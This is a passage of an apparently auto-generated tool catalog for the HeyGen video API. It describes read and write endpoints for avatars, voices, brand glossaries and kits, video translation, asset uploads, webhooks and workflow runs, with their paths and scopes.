on a wooden table' or 'minimalist rocket icon'. Returns assets ranked by similarity, each with a stable public URL, plus cursor-based pagination. via GET /v3/assets/search GET /api/v1/heygen/v3/assets/search. Scopes: api. heygen_get_v3_assets_statuses (read) — Returns statuses for up to 100 assets in one request, addressed by comma-separated asset_ids and/or batch_ids query params. Statuses are one of queued, processing, completed, or failed, plus not_found for unknown or unowned ids. Each returned entry carries its id as video_id (the status read model is shared with the videos batch API). via GET /v3/assets/statuses GET /api/v1/heygen/v3/assets/statuses. Scopes: api. heygen_get_v3_audio_sounds (read) — Semantically search the audio catalog by natural-language description — set type=music (the default) for background music (e.g. 'upbeat lofi hip-hop', 'tense cinematic riser') or type=sound_effects for SFX (e.g. 'whoosh for a scene change', 'cash register cha-ching'). Returns tracks ranked by similarity, each with a pre-signed download URL, plus cursor-based pagination. via GET /v3/audio/sounds GET /api/v1/heygen/v3/audio/sounds. Scopes: api. heygen_get_v3_avatar_realtime_by_stream_id (read) — Get the status of a streaming avatar session. `status` is one of `pending` (workflow starting), `streaming` (the `hls_url` is live), `completed` (finished — `end_reason` describes how), or `error` (`error_message` describes the failure). Poll this after POST /v3/avatar-realtime until `hls_url` is present. via GET /v3/avatar-realtime/{stream_id} GET /api/v1/heygen/v3/avatar-realtime/{stream_id}. Scopes: api. heygen_get_v3_avatars (read) — Returns a paginated list of avatar groups (characters). Each group contains one or more looks. Filterable by ownership. via GET /v3/avatars GET /api/v1/heygen/v3/avatars. Scopes: api. heygen_get_v3_avatars_by_group_id (read) — Returns details for a specific avatar group including name, gender, preview URLs, looks count, and training status. via GET /v3/avatars/{group_id} GET /api/v1/heygen/v3/avatars/{group_id}. Scopes: api. heygen_get_v3_avatars_looks (read) — Returns a paginated list of avatar looks (outfits, poses, styles). Filterable by group_id, avatar_type, and ownership. The look id is the avatar_id to pass when creating a video. via GET /v3/avatars/looks GET /api/v1/heygen/v3/avatars/looks. Scopes: api. heygen_get_v3_avatars_looks_by_look_id (read) — Returns details for a specific avatar look including supported engines, preferred orientation, preview URLs, and training status. via GET /v3/avatars/looks/{look_id} GET /api/v1/heygen/v3/avatars/looks/{look_id}. Scopes: api. heygen_get_v3_background_removals (read) — Returns a paginated list of background removal jobs for the account, newest first. via GET /v3/background-removals GET /api/v1/heygen/v3/background-removals. Scopes: api. heygen_get_v3_background_removals_by_job_id (read) — Returns a background removal job including its status and, once completed, presigned download URLs for the produced layers. via GET /v3/background-removals/{job_id} GET /api/v1/heygen/v3/background-removals/{job_id}. Scopes: api. heygen_get_v3_brand_glossaries (read) — List brand glossaries (custom term mappings, a.k.a. brand voices) in the authenticated user's workspace. A brand glossary controls how custom terms are pronounced in generated speech — for example, speaking "HeyGen" as "hey-jen" — and how they are handled when a video is translated: Don't Translate terms kept as-is, and Force Translate terms with a fixed replacement. Pass the returned `brand_glossary_id` when creating a video or translation to apply the glossary. Use GET /v3/brand-glossaries/{brand_glossary_id} to see which terms it remaps, POST /v3/brand-glossaries to create one, and PATCH /v3/brand-glossaries/{brand_glossary_id} to change one. via GET /v3/brand-glossaries GET /api/v1/heygen/v3/brand-glossaries. Scopes: api. heygen_get_v3_brand_glossaries_by_brand_glossary_id (read) — Returns one brand glossary with its full term list, so you can see exactly which terms are remapped and how. Use this to verify a glossary's contents when a generated video pronounces or translates a term unexpectedly. Pronunciations affect generated audio only: a term keeps its original spelling in captions and subtitles while being spoken as its `pronunciation`. Translation rules apply only when the glossary is used by a translation feature — video translation, Studio script translation, and on-screen text translation: `do_not_translate_terms` are kept untranslated in every target language, and `forced_translations` replace their `term` with their `translation` in every target language. They have no effect on video generation or text-to-speech requests; only `terms` applies there. Either list is omitted from the response when the glossary has no rules of that kind. Tone settings are managed in the HeyGen web app under Brand Kit and are not returned here; editing a glossary through this API leaves them unchanged. via GET /v3/brand-glossaries/{brand_glossary_id} GET /api/v1/heygen/v3/brand-glossaries/{brand_glossary_id}. Scopes: api. heygen_get_v3_brand_kits (read) — Returns brand kits available in the authenticated user's workspace. Each brand kit contains colors, fonts, and logos that can be applied to Video Agent sessions. Use the returned brand_kit_id with POST /v3/video-agents to generate on-brand videos. via GET /v3/brand-kits GET /api/v1/heygen/v3/brand-kits. Scopes: api. heygen_get_v3_brand_kits_by_brand_kit_id (read) — Returns one brand kit with the colors, logos and fonts it was built from, and which of them play which role. A brand kit imported from a website is assembled in the background: while status is 'loading' the collections and roles are provisional, and they are final once status is 'completed'. Poll every 2 to 5 seconds while status is 'loading'; a website import usually settles in under two minutes, and fonts are typically the last thing to land. via GET /v3/brand-kits/{brand_kit_id} GET /api/v1/heygen/v3/brand-kits/{brand_kit_id}. Scopes: api. heygen_get_v3_filler_word_removals_by_filler_word_removal_id (read) — Returns the job resource: lifecycle status, progress, and — once completed — the presigned download URL of the cleaned video plus removal statistics (num_cuts, reduction_pct, durations). via GET /v3/filler-word-removals/{filler_word_removal_id} GET /api/v1/heygen/v3/filler-word-removals/{filler_word_removal_id}. Scopes: api. heygen_get_v3_hyperframes_renders (read) — Returns a cursor-paginated list of HyperFrames renders in the account, newest first. via GET /v3/hyperframes/renders GET /api/v1/heygen/v3/hyperframes/renders. Scopes: api. heygen_get_v3_hyperframes_renders_by_render_id (read) — Returns full details for a single HyperFrames render, including status and signed video_url when complete. via GET /v3/hyperframes/renders/{render_id} GET /api/v1/heygen/v3/hyperframes/renders/{render_id}. Scopes: api. heygen_get_v3_lipsyncs (read) — Returns a paginated list of all lipsync jobs in the account. via GET /v3/lipsyncs GET /api/v1/heygen/v3/lipsyncs. Scopes: api. heygen_get_v3_lipsyncs_batches_by_batch_id (read) — Returns batch aggregate status and one page of items with their ids and statuses. Item statuses are one of queued, processing, completed, or failed. The per-item id is returned as video_id (the batch read model is shared with the videos batch API). via GET /v3/lipsyncs/batches/{batch_id} GET /api/v1/heygen/v3/lipsyncs/batches/{batch_id}. Scopes: api. heygen_get_v3_lipsyncs_by_lipsync_id (read) — Returns details for a lipsync job including status, video_url, caption_url, and failure info if applicable. via GET /v3/lipsyncs/{lipsync_id} GET /api/v1/heygen/v3/lipsyncs/{lipsync_id}. Scopes: api. heygen_get_v3_lipsyncs_statuses (read) — Returns statuses for up to 100 lipsyncs in one request, addressed by comma-separated lipsync_ids and/or batch_ids query params. Statuses are one of queued, processing, completed, or failed, plus not_found for unknown or unowned ids. Each returned entry carries its id as video_id (the status read model is shared with the videos batch API). via GET /v3/lipsyncs/statuses GET /api/v1/heygen/v3/lipsyncs/statuses. Scopes: api. heygen_get_v3_models_audio_voices (read) — Returns the model-backed audio voices in the caller's workspace, ordered newest first. Use `limit` and `token` to retrieve additional pages. via GET /v3/models/audio/voices GET /api/v1/heygen/v3/models/audio/voices. Scopes: api. heygen_get_v3_models_audio_voices_by_voice_id (read) — Returns one caller-owned model-backed audio voice and its current lifecycle state. `PENDING` covers queued and running work, `ACTIVE` is ready for inference, and `FAILED` is terminal. via GET /v3/models/audio/voices/{voice_id} GET /api/v1/heygen/v3/models/audio/voices/{voice_id}. Scopes: api. heygen_get_v3_podcasts (read) — Returns a paginated list of the podcasts in the authenticated workspace, newest first. via GET /v3/podcasts GET /api/v1/heygen/v3/podcasts. Scopes: api. heygen_get_v3_podcasts_by_podcast_id (read) — Returns a podcast's status and, once completed, its video_url, thumbnail_url, and duration. via GET /v3/podcasts/{podcast_id} GET /api/v1/heygen/v3/podcasts/{podcast_id}. Scopes: api. heygen_get_v3_template_by_template_id (read) — Retrieves template details by ID, including variables available for replacement and scene mappings for the New AI Studio. via GET /v3/template/{template_id} GET /api/v1/heygen/v3/template/{template_id}. Scopes: api. heygen_get_v3_templates (read) — Returns a paginated list of API-ready templates in the workspace. Templates are created and edited in the HeyGen web editor; only templates with variables defined are listed. via GET /v3/templates GET /api/v1/heygen/v3/templates. Scopes: api. heygen_get_v3_templates_by_template_id (read) — Returns template details including its variable schema (with current default values) and scenes. Variable defaults are returned in the same shape the generate request accepts, so a response can be edited and posted back. Only draft version 4 templates (the current editor format) are supported. via GET /v3/templates/{template_id} GET /api/v1/heygen/v3/templates/{template_id}. Scopes: api. heygen_get_v3_users_me (read) — Returns the authenticated user's profile, remaining credits or balance, and billing details. via GET /v3/users/me GET /api/v1/heygen/v3/users/me. Scopes: api. heygen_get_v3_video_agents (read) — Returns a paginated list of video agent sessions for the authenticated user, sorted newest-first. via GET /v3/video-agents GET /api/v1/heygen/v3/video-agents. Scopes: api. heygen_get_v3_video_agents_by_session_id (read) — Returns the current status, progress, video_id, and recent chat messages for a session. via GET /v3/video-agents/{session_id} GET /api/v1/heygen/v3/video-agents/{session_id}. Scopes: api. heygen_get_v3_video_agents_by_session_id_resources_by_resource_id (read) — Returns a single session resource (image, video, draft, avatar, voice, etc.) by its resource_id. via GET /v3/video-agents/{session_id}/resources/{resource_id} GET /api/v1/heygen/v3/video-agents/{session_id}/resources/{resource_id}. Scopes: api. heygen_get_v3_video_agents_by_session_id_videos (read) — Returns all videos produced within a Video Agent session, sorted newest-first. via GET /v3/video-agents/{session_id}/videos GET /api/v1/heygen/v3/video-agents/{session_id}/videos. Scopes: api. heygen_get_v3_video_agents_styles (read) — Returns curated visual style templates available for Video Agent sessions. Each style controls scene composition, pacing, and aesthetics. Supports tag filtering (e.g. 'cinematic', 'retro-tech'). via GET /v3/video-agents/styles GET /api/v1/heygen/v3/video-agents/styles. Scopes: api. heygen_get_v3_video_quality_comparisons_batches_by_batch_id (read) — Return aggregate batch status and one cursor-paginated page of comparison items. via GET /v3/video-quality/comparisons/batches/{batch_id} GET /api/v1/heygen/v3/video-quality/comparisons/batches/{batch_id}. Scopes: api. heygen_get_v3_video_quality_comparisons_by_comparison_id (read) — Return the latest state and result or terminal error for one comparison. via GET /v3/video-quality/comparisons/{comparison_id} GET /api/v1/heygen/v3/video-quality/comparisons/{comparison_id}. Scopes: api. heygen_get_v3_video_translations (read) — Returns a paginated list of all video translation jobs in the account. via GET /v3/video-translations GET /api/v1/heygen/v3/video-translations. Scopes: api. heygen_get_v3_video_translations_batches_by_batch_id (read) — Returns batch aggregate status and one page of items with their ids and statuses. Item statuses are one of queued, processing, completed, or failed. The per-item id is returned as video_id (the batch read model is shared with the videos batch API). via GET /v3/video-translations/batches/{batch_id} GET /api/v1/heygen/v3/video-translations/batches/{batch_id}. Scopes: api. heygen_get_v3_video_translations_by_video_translation_id (read) — Returns details for a translation job including status, output language, video_url, and failure info if applicable. via GET /v3/video-translations/{video_translation_id} GET /api/v1/heygen/v3/video-translations/{video_translation_id}. Scopes: api. heygen_get_v3_video_translations_languages (read) — Returns all supported target language names for video translation. via GET /v3/video-translations/languages GET /api/v1/heygen/v3/video-translations/languages. Scopes: api. heygen_get_v3_video_translations_proofreads_by_proofread_id (read) — Returns the status and details of a proofread session. via GET /v3/video-translations/proofreads/{proofread_id} GET /api/v1/heygen/v3/video-translations/proofreads/{proofread_id}. Scopes: api. heygen_get_v3_video_translations_proofreads_by_proofread_id_srt (read) — Returns presigned download URLs for the edited and original SRT files of a completed proofread session. via GET /v3/video-translations/proofreads/{proofread_id}/srt GET /api/v1/heygen/v3/video-translations/proofreads/{proofread_id}/srt. Scopes: api. heygen_get_v3_video_translations_statuses (read) — Returns statuses for up to 100 video translations in one request, addressed by comma-separated video_translation_ids and/or batch_ids query params. Statuses are one of queued, processing, completed, or failed, plus not_found for unknown or unowned ids. Each returned entry carries its id as video_id (the status read model is shared with the videos batch API). via GET /v3/video-translations/statuses GET /api/v1/heygen/v3/video-translations/statuses. Scopes: api. heygen_get_v3_videos (read) — Returns a paginated list of all videos in the account. Filterable by folder_id or title substring. via GET /v3/videos GET /api/v1/heygen/v3/videos. Scopes: api. heygen_get_v3_videos_batches_by_batch_id (read) — Returns batch aggregate status and one page of items with their video ids and statuses. Item statuses are one of queued, processing, completed, or failed. via GET /v3/videos/batches/{batch_id} GET /api/v1/heygen/v3/videos/batches/{batch_id}. Scopes: api. heygen_get_v3_videos_by_video_id (read) — Returns details for a video including status, video_url, thumbnail_url, duration, and failure info if applicable. via GET /v3/videos/{video_id} GET /api/v1/heygen/v3/videos/{video_id}. Scopes: api. heygen_get_v3_videos_by_video_id_scenes (read) — Returns the video's scenes together with the video-level context needed to use them. Describes the video as it stands now, including any edits made in the editor after it was created. The scene list is never paginated. Each scene splits by the role a thing plays: `background` fills the frame, `elements` are placed within it, and `script` is the audio delivered over it. A whole-frame image or clip lands in `background`, so code that reads only `elements` misses it. Element types are an open set: treat an unrecognized type as an element to skip rather than an error, and expect a type value to become more specific over time. Every element a scene places appears in `elements`, so the count is always truthful, but only `avatar`, `image` and `video` are described in full; `group` and `mask` carry their children; the rest carry an `id` and a `type` and nothing more. **What this does not describe.** A video may contain more than this response expresses, and a video rebuilt from it will differ in these respects: element geometry (position, size, opacity); the text inside a text element; scene and element animations and scene effects; per-scene caption styling, where only whether captions are enabled is reported; background audio, which is video-level and belongs to no scene, so a rebuild loses the music; and some per-avatar values, which this version does not return. via GET /v3/videos/{video_id}/scenes GET /api/v1/heygen/v3/videos/{video_id}/scenes. Scopes: api. heygen_get_v3_videos_statuses (read) — Returns statuses for up to 100 videos in one request, addressed by comma-separated video_ids and/or batch_ids query params. Statuses are one of queued, processing, completed, or failed, plus not_found for unknown or unowned ids. via GET /v3/videos/statuses GET /api/v1/heygen/v3/videos/statuses. Scopes: api. heygen_get_v3_voices (read) — Returns a paginated list of voices, filterable by type, engine, language, and gender. Use engine=starfish for voices compatible with the TTS endpoint. via GET /v3/voices GET /api/v1/heygen/v3/voices. Scopes: api. heygen_get_v3_voices_by_voice_id (read) — Returns details for a specific voice, including clone workflow status when available. Use this to poll a voice clone until its status is 'complete'. via GET /v3/voices/{voice_id} GET /api/v1/heygen/v3/voices/{voice_id}. Scopes: api. heygen_get_v3_webhooks_endpoints (read) — Returns a paginated list of registered webhook endpoints. via GET /v3/webhooks/endpoints GET /api/v1/heygen/v3/webhooks/endpoints. Scopes: api. heygen_get_v3_webhooks_event_types (read) — Returns all available webhook event types with human-readable descriptions. via GET /v3/webhooks/event-types GET /api/v1/heygen/v3/webhooks/event-types. Scopes: api. heygen_get_v3_webhooks_events (read) — Returns a paginated history of delivered webhook events. Filterable by event_type or entity_id. via GET /v3/webhooks/events GET /api/v1/heygen/v3/webhooks/events. Scopes: api. heygen_get_v3_workflow_runs (read) — Returns a paginated list of runs for the workflow named by the required `workflow_id` query parameter, newest first. List items are compact status rows; fetch a single run for its outputs and error detail. via GET /v3/workflow-runs GET /api/v1/heygen/v3/workflow-runs. Scopes: api. heygen_get_v3_workflow_runs_by_run_id (read) — Returns a single workflow run: the exact version it is pinned to, created/started/completed timestamps, aggregate node progress, a sanitized terminal error (if any), and every declared output. A terminal run's response is self-contained — media outputs carry a fresh read-time URL (with expiry unless the object is public), and inline JSON outputs carry their value directly, bounded at 64 KiB per output and 256 KiB per response (larger values are delivered as references whose URL serves the value as a JSON document). The response body size does not grow with the run's node count; per-node detail lives under /nodes. via GET /v3/workflow-runs/{run_id} GET /api/v1/heygen/v3/workflow-runs/{run_id}. Scopes: api. heygen_get_v3_workflow_runs_by_run_id_nodes (read) — Paginated per-node diagnostics for one run: node id, status, timestamps, and a sanitized error for failed nodes. Diagnostics only — a run's declared outputs live on the run resource itself. via GET /v3/workflow-runs/{run_id}/nodes GET /api/v1/heygen/v3/workflow-runs/{run_id}/nodes. Scopes: api. heygen_get_v3_workflows (read) — Returns a paginated list of workflow definitions. via GET /v3/workflows GET /api/v1/heygen/v3/workflows. Scopes: api. heygen_get_v3_workflows_by_workflow_id (read) — Returns a single workflow definition, including its current mutable draft graph. via GET /v3/workflows/{workflow_id} GET /api/v1/heygen/v3/workflows/{workflow_id}. Scopes: api. heygen_get_v3_workflows_by_workflow_id_versions (read) — Returns a paginated list of immutable, compiled versions for a workflow definition. via GET /v3/workflows/{workflow_id}/versions GET /api/v1/heygen/v3/workflows/{workflow_id}/versions. Scopes: api. heygen_get_v3_workflows_by_workflow_id_versions_by_version_number (read) — Returns a single immutable, compiled workflow version, including its full plan summary. via GET /v3/workflows/{workflow_id}/versions/{version_number} GET /api/v1/heygen/v3/workflows/{workflow_id}/versions/{version_number}. Scopes: api. heygen_get_v3_workflows_node_types (read) — Discovery catalog of authorable node types, grouped by family with per-variant config schema and ports. Discovery metadata only: publishing a workflow version remains the authoritative validation of a graph. via GET /v3/workflows/node-types GET /api/v1/heygen/v3/workflows/node-types. Scopes: api. heygen_patch_v1_webhook_endpoint_update (write) — update an existing webhook endpoint via PATCH /v1/webhook/endpoint.update PATCH /api/v1/heygen/v1/webhook/endpoint.update. Scopes: api. heygen_patch_v3_avatars_by_group_id (write) — Updates an avatar group. Currently supports setting `default_voice_id`: the voice becomes the avatar's default for video generation and is linked to the group if it was not already. Accepts any voice available to your workspace, including imported voice clones. Only supported for avatars you own — public avatars cannot be updated. via PATCH /v3/avatars/{group_id} PATCH /api/v1/heygen/v3/avatars/{group_id}. Scopes: api. heygen_patch_v3_avatars_looks_by_look_id (write) — Updates the display name of an avatar look. Only supported for photo avatar and digital twin look types. via PATCH /v3/avatars/looks/{look_id} PATCH /api/v1/heygen/v3/avatars/looks/{look_id}. Scopes: api. heygen_patch_v3_brand_glossaries_by_brand_glossary_id (write) — Updates a brand glossary. Each field is replaced independently: a field you omit is left untouched, a field you send replaces that value in full, and an empty array removes every entry from that list. There is no way to add a single entry — read the glossary, append to the list, and send the whole list back. Renaming to a name another glossary in your workspace already uses returns 409. A glossary's tone settings are managed in the HeyGen web app and are never modified by this endpoint, so a glossary edited there keeps them through an update made here. via PATCH /v3/brand-glossaries/{brand_glossary_id} PATCH /api/v1/heygen/v3/brand-glossaries/{brand_glossary_id}. Scopes: api. heygen_patch_v3_brand_kits_by_brand_kit_id (write) — Updates a brand kit's name or its role assignments — which color plays which part, which logo is the main one, and which font is used for headings and body text. A field you omit is left unchanged. Creation assigns these roles automatically, with no human in the loop, so this is how a caller corrects them. Each role object is replaced in full rather than merged: send the roles you want to keep, since a role you leave out of the object is cleared. Send an empty object to clear a role entirely. A cleared role stays cleared and is not recomputed later. Sending null for any field is rejected: omit it to leave it unchanged. Role edits require an assembled kit and return 409 while status is 'loading' or 'error'. Renaming is allowed at any time. Editing the colors themselves is not supported here yet. A brand kit shared into your workspace by another workspace is readable but not editable, and returns 403. via PATCH /v3/brand-kits/{brand_kit_id} PATCH /api/v1/heygen/v3/brand-kits/{brand_kit_id}. Scopes: api. heygen_patch_v3_lipsyncs_by_lipsync_id (write) — Updates the display title of a lipsync job. via PATCH /v3/lipsyncs/{lipsync_id} PATCH /api/v1/heygen/v3/lipsyncs/{lipsync_id}. Scopes: api. heygen_patch_v3_video_translations_by_video_translation_id (write) — Updates the display title of a video translation job. via PATCH /v3/video-translations/{video_translation_id} PATCH /api/v1/heygen/v3/video-translations/{video_translation_id}. Scopes: api. heygen_patch_v3_webhooks_endpoints_by_endpoint_id (write) — Updates the URL and/or subscribed event types for a webhook endpoint. The events array is fully replaced — include all types you want to keep. via PATCH /v3/webhooks/endpoints/{endpoint_id} PATCH /api/v1/heygen/v3/webhooks/endpoints/{endpoint_id}. Scopes: api. heygen_patch_v3_workflows_by_workflow_id (write) — Replaces the mutable draft product graph. Rejected (409) if `expected_revision` is stale, and 422 `graph_invalid` if the graph uses node types not available for authoring — the draft is left unchanged in both cases. via PATCH /v3/workflows/{workflow_id} PATCH /api/v1/heygen/v3/workflows/{workflow_id}. Scopes: api. heygen_post_v1_audio_text_to_speech (write) — Synthesize speech audio from text using a specified voice. Returns a URL to the generated audio file along with duration and optional word-level timestamps. via POST /v1/audio/text_to_speech POST /api/v1/heygen/v1/audio/text_to_speech. Scopes: api. heygen_post_v1_brand_voice_by_brand_voice_id (write) — Updates an existing brand voice with specified changes. Only the fields that need to be modified should be included in the request body. via POST /v1/brand_voice/{brand_voice_id} POST /api/v1/heygen/v1/brand_voice/{brand_voice_id}. Scopes: api. heygen_post_v1_folders_by_folder_id (write) — Updates the name of an existing folder. via POST /v1/folders/{folder_id} POST /api/v1/heygen/v1/folders/{folder_id}. Scopes: api. heygen_post_v1_folders_by_folder_id_restore (write) — Restore Folder via POST /v1/folders/{folder_id}/restore POST /api/v1/heygen/v1/folders/{folder_id}/restore. Scopes: api. heygen_post_v1_folders_by_folder_id_trash (write) — Moves a folder to the trash. via POST /v1/folders/{folder_id}/trash POST /api/v1/heygen/v1/folders/{folder_id}/trash. Scopes: api. heygen_post_v1_folders_create (write) — Create Folder via POST /v1/folders/create POST /api/v1/heygen/v1/folders/create. Scopes: api. heygen_post_v1_video_agent_generate (write) — Create a video from a text prompt using HeyGen's Video Agent. This is the recommended way to create videos — just describe what you want and the agent handles avatar selection, scripting, and production. The video is generated asynchronously — use the returned video_id to poll status via GET /v2/videos/{video_id}. via POST /v1/video_agent/generate POST /api/v1/heygen/v1/video_agent/generate. Scopes: api. heygen_post_v1_video_webm (write) — Generates a webm video with transparent background and an avatar speaking the input text. You can customize the avatar's pose, style, and voice, as well as the dimensions of the video. via POST /v1/video.webm POST /api/v1/heygen/v1/video.webm. Scopes: api. heygen_post_v1_webhook_endpoint_add (write) — Add a Webhook Endpoint via POST /v1/webhook/endpoint.add POST /api/v1/heygen/v1/webhook/endpoint.add. Scopes: api. heygen_post_v1_workflows_executions (write) — Submit a single workflow for asynchronous execution. Returns an execution_id that can be polled via GET /v1/workflows/executions/{execution_id}. via POST /v1/workflows/executions POST /api/v1/heygen/v1/workflows/executions. Scopes: api. heygen_post_v1_workflows_graph_executions (write) — Submit a multi-workflow graph for asynchronous execution. Returns an execution_id that can be polled via GET /v1/workflows/executions/{execution_id}. via POST /v1/workflows/graph-executions POST /api/v1/heygen/v1/workflows/graph-executions. Scopes: api. heygen_post_v2_photo_avatar_add_motion (write) — Add motion to an existing photo avatar, returns the id of the new avatar that has motion via POST /v2/photo_avatar/add_motion POST /api/v1/heygen/v2/photo_avatar/add_motion. Scopes: api. heygen_post_v2_photo_avatar_add_sound_effect (write) — This api adds sound effect into a photo avatar via POST /v2/photo_avatar/add_sound_effect POST /api/v1/heygen/v2/photo_avatar/add_sound_effect. Scopes: api. heygen_post_v2_photo_avatar_avatar_group_add (write) — Add other looks to existing photo avatar group via POST /v2/photo_avatar/avatar_group/add POST /api/v1/heygen/v2/photo_avatar/avatar_group/add. Scopes: api. heygen_post_v2_photo_avatar_avatar_group_create (write) — This api can be used to create a photo avatar group For generated photo avatar, pass the generation_id and the image_key For user uploaded avatar, first upload the photo using the upload assets api. Then use the key as image_key This api only allows using one photo to establish the identity, you can add more photos using the add looks api via POST /v2/photo_avatar/avatar_group/create POST /api/v1/heygen/v2/photo_avatar/avatar_group/create. Scopes: api. heygen_post_v2_photo_avatar_look_generate (write) — This endpoint can be used to generate additional looks for a trained photo avatar group. The photo avatar group must be trained to use this endpoint. via POST /v2/photo_avatar/look/generate POST /api/v1/heygen/v2/photo_avatar/look/generate. Scopes: api. heygen_post_v2_photo_avatar_photo_generate (write) — This endpoint will generate photos that can be used to create photo avatars, returns a generation id, which can be used in the check generation status endpoint to get status and final image/image keys via POST /v2/photo_avatar/photo/generate POST /api/v1/heygen/v2/photo_avatar/photo/generate. Scopes: api. heygen_post_v2_photo_avatar_train (write) — Train a photo avatar group. via POST /v2/photo_avatar/train POST /api/v1/heygen/v2/photo_avatar/train. Scopes: api. heygen_post_v2_photo_avatar_upscale (write) — Call this api to upscale an avatar, can only be called on an avatar that has motion, returns the photo avatar id that is upscaled via POST /v2/photo_avatar/upscale POST /api/v1/heygen/v2/photo_avatar/upscale. Scopes: api. heygen_post_v2_template_by_template_id_generate (write) — This API now supports New AI Studio! via POST /v2/template/{template_id}/generate POST /api/v1/heygen/v2/template/{template_id}/generate. Scopes: api. heygen_post_v2_video_avatar (write) — Submits the URLs for the required training footage and consent statement to create a Digital Twin. via POST /v2/video_avatar POST /api/v1/heygen/v2/video_avatar. Scopes: api. heygen_post_v2_video_generate (write) — This API now generates videos with our New AI Studio backend. via POST /v2/video/generate POST /api/v1/heygen/v2/video/generate. Scopes: api. heygen_post_v2_video_translate (write) — Translate a video into one or more target languages. The translation runs asynchronously — the response contains a video_translate_id which can be used with get_video to poll status and retrieve the download URL when complete. Use list_video_translate_languages to discover supported language codes before calling this endpoint. Key parameters: - video_url (required): URL of the source video to translate. - output_language: Single target language code. Mutually exclusive with output_languages. - output_languages: Array of target language codes for batch translation. Mutually exclusive with output_language. - mode: "speed" (default, faster) or "precision" (higher quality, uses avatar inference). - brand_glossary_id (preferred) / brand_voice_id (legacy alias): Brand glossary ID for custom term translations (e.g. translate 'Reformer' as Pilates equipment, not as a political activist). Discover IDs via GET /v3/brand-glossaries. - stock_voice_config: Use a preset stock voice instead of recreating the original speaker's voice (set use_stock_voice=true). Enterprise feature, available for selected accounts and languages by request. - srt_url / srt_role: Custom subtitle file. - fps_mode: Frame rate mode ("vfr", "cfr", "passthrough"). Only valid when audio_url is provided. via POST /v2/video_translate POST /api/v1/heygen/v2/video_translate. Scopes: api. heygen_post_v2_videos (write) — Create a video from a specific avatar or image with full control over avatar, voice, and script. Use this only when you need explicit control over avatar selection and scripting. For most video creation, use the create_video_agent tool instead which handles these choices automatically. Supports photo avatars, video avatars (digital twins), and direct image input. The video is generated asynchronously — poll status via GET /v2/videos/{video_id}. via POST /v2/videos POST /api/v1/heygen/v2/videos. Scopes: api. heygen_post_v3_ai_clipping (write) — Submit a source video and return a job id immediately. The job runs asynchronously and produces one or more short clips per the requested output_settings. Poll GET /v3/ai-clipping/{id} or subscribe to ai_clipping.success / ai_clipping.fail webhooks. via POST /v3/ai-clipping POST /api/v1/heygen/v3/ai-clipping. Scopes: api. heygen_post_v3_assets_by_asset_id_complete (write) — Finalize a direct-to-S3 upload into a reusable asset. Call after the upload PUT returns 200. Idempotent: repeated calls return the same finalized asset. via POST /v3/assets/{asset_id}/complete POST /api/v1/heygen/v3/assets/{asset_id}/complete. Scopes: api. heygen_post_v3_assets_complete_batches (write) — Finalize every uploaded file in a batch. Call after all upload PUTs return 200. Each file is validated and ingested asynchronously and independently, so one bad file does not fail the rest. Returns 202 with the batch_id; poll GET /v3/assets/batches/{batch_id} for per-item progress. Idempotent: a repeated call re-drives the same batch. via POST /v3/assets/complete/batches POST /api/v1/heygen/v3/assets/complete/batches. Scopes: api. heygen_post_v3_assets_direct_uploads (write) — Begin a direct-to-S3 upload. Returns an asset_id and a presigned upload_url; PUT the file bytes to upload_url, then call POST /v3/assets/{asset_id}/complete. Unlike POST /v3/assets (which proxies the bytes), this never sends the file through the API. via POST /v3/assets/direct-uploads POST /api/v1/heygen/v3/assets/direct-uploads. Scopes: api. heygen_post_v3_assets_direct_uploads_batches (write) — Request up to 100 presigned direct-to-S3 upload URLs in a single call. Returns a batch_id and one upload slot per file (asset_id + presigned upload_url + required headers). PUT each file's bytes to its upload_url, then call POST /v3/assets/complete/batches to finalize the whole batch. This is synchronous — no bytes flow through the API. Pass an Idempotency-Key header to make retries safe (the same key returns the same batch). via POST /v3/assets/direct-uploads/batches POST /api/v1/heygen/v3/assets/direct-uploads/batches. Scopes: api. heygen_post_v3_avatar_realtime (write) — Start a low-latency streaming avatar session and return a `stream_id`. Three modes, selected by the `type` discriminator: `tts` (speak a fixed script), `audio` (drive lip-sync from a pre-existing audio asset), and `text_stream` (seed with initial text, then append more text deltas over time via POST /v3/avatar-realtime/{stream_id}/text — e.g. as an upstream LLM streams tokens). Poll GET /v3/avatar-realtime/{stream_id} for the session status and HLS playback URL. via POST /v3/avatar-realtime POST /api/v1/heygen/v3/avatar-realtime. Scopes: api. heygen_post_v3_avatar_realtime_by_stream_id_cancel (write) — Cancel a running streaming session. Idempotent: `cancelled` is true when this request initiated the cancellation, or false when the session was already terminal (completed, failed, or previously cancelled). via POST /v3/avatar-realtime/{stream_id}/cancel POST /api/v1/heygen/v3/avatar-realtime/{stream_id}/cancel. Scopes: api. heygen_post_v3_avatar_realtime_by_stream_id_text (write) — Append a text delta to a session created with `type: text_stream`. Send fragments as they become available (e.g. tokens streamed from an upstream LLM); the avatar speaks them in order. Set `final: true` on the last delta to close input — further appends to a closed stream return 410. Returns the total bytes buffered so far. via POST /v3/avatar-realtime/{stream_id}/text POST /api/v1/heygen/v3/avatar-realtime/{stream_id}/text. Scopes: api. heygen_post_v3_avatars (write) — Creates a new avatar from an image, video footage, or a text prompt. Supports photo, digital_twin, and prompt types. Avatar training is asynchronous. via POST /v3/avatars POST /api/v1/heygen/v3/avatars. Scopes: api. heygen_post_v3_avatars_by_group_id_consent (write) — Initiates the consent flow for an avatar group and returns a URL for the user to complete approval in their browser. Required before a private avatar can be used for video generation. The consent URL expires 24 hours after creation and is valid for one successful consent submission. A recording submitted after expiry fails and the group stays in pending consent status, so create a new consent link if the subject has not recorded within 24 hours. via POST /v3/avatars/{group_id}/consent POST /api/v1/heygen/v3/avatars/{group_id}/consent. Scopes: api. heygen_post_v3_background_removals (write) — Submit a video to remove its background. Returns the created job; runs asynchronously, so poll Get Background Removal with the returned id. Once completed, the job carries presigned download URLs for the requested layers: 'foreground' (subject on a transparent background), 'mask' (grayscale alpha matte), and 'background' (the scene with the subject removed). Idempotency is opt-in via the request body's `request_id` field: re-sending the same `request_id` returns the *original* job (same `id`, same charge) without creating a new one. The HTTP `Idempotency-Key` header is *not* honored — see `request_id` for the supported contract. via POST /v3/background-removals POST /api/v1/heygen/v3/background-removals. Scopes: api. heygen_post_v3_brand_glossaries (write) — Creates a brand glossary in your workspace. Pass the returned `brand_glossary_id` when creating a video or translation to apply it. `name` must be unique within your workspace, compared without regard to case; a duplicate returns 409. `terms`, `do_not_translate_terms` and `forced_translations` may each be omitted to create an empty glossary you fill in later with PATCH /v3/brand-glossaries/{brand_glossary_id}. Pronunciations affect generated audio only — a term keeps its 